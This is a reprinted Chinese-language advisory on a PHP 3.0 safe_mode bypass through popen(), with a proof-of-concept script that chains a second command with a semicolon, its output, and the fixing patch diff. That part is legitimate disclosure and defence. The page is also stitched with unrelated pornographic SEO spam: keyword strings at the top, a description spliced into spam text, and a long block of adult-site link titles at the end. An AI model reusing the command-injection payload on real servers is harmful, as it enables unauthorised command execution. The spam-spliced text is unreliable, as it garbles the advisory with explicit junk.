--------------------------------------------------------------------------------
描述:

PHP Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植于C、Java和Perl并結合了 " /> 妓女嫖客叫床粗话对白,亚洲欧美日本国产在线观18,国产精品日本一区二区在线播放

天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

PHP3 safe_mode 失效漏洞

受影響的系統:  php 3.00  
--------------------------------------------------------------------------------
描述:

    php Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植于C、Java和Perl并結合了
php的特色。這個語言可以讓web開發者快速創建動態網頁。

    因其執行在web服務器上并允許用戶執行代碼,php內置了稱為'safe_mode'的安全特性,
用于控制在允許php操作的webroot環境中執行命令。

    其實現機制是通過強制執行shell命令的系統調用將shell命令傳送到EscapeShellCmd()
函數,此函數用于確認在webroot目錄外部不能執行命令。

    在某些版本的php中,使用popen()命令時EscapeShellCmd()卻失效了,造成惡意用戶可
以利用'popen'系統調用進行非法操作。

--------------------------------------------------------------------------------
測試程序:

警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

輸出結果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建議:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

php技術PHP3 safe_mode 失效漏洞,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 麻豆国产99在线中文 | 东北小伙FREECHINESE野外 东北嫖妓对白粗口 | 国产一卡在线观看完整版 | 超碰97av 在线人人操 | 国产婷婷色一区二区三区在线 | 亚洲国产精品嫩草影院久久 | 免费人成在线观看视频不卡 | 亚洲人视频在线观看 | 国语自产拍在线视频普通话 | 青青精品视频国产 | 色综合久久88一加勒比 | 97精品国偷拍自产在线 | 娇喘高潮教室h | 色综合伊人色综合网站下载 | 68日本xxxxxxxx79 | 久久综合中文字幕佐佐木希 | 手机在线观看无码日韩视频 | 色屁屁影院 | 葵司中文第一次大战黑人 | 秋霞伦理电影在线看 | 伊人久久99热这里只有精品 | 欧美一区二区高清 | 久久www免费人成_看片高清 | youjizz怎么看| 国产人妻精品无码AV在线五十路 | 亚洲国产精品线在线观看 | 日本不卡不码高清免费 | 国产成人无码视频一区二区三区 | SM脚奴调教丨踩踏贱奴 | 成片免费观看视频大全 | 啪啪漫画无遮挡全彩h同人 啪啪激情婷婷久久婷婷色五月 | 2022久久精品国产色蜜蜜麻豆 | 91se在线看片国产免费观看 | 2021国产精品一卡2卡三卡4卡 | 丝袜诱惑qvod | AV福利无码亚洲网站麻豆 | 久久精品日本免费线 | 精品一区二区三区AV天堂 | 91极品蜜桃臀在线播放 | max girls 大感谢祭| 亚洲中文字幕欧美自拍一区 |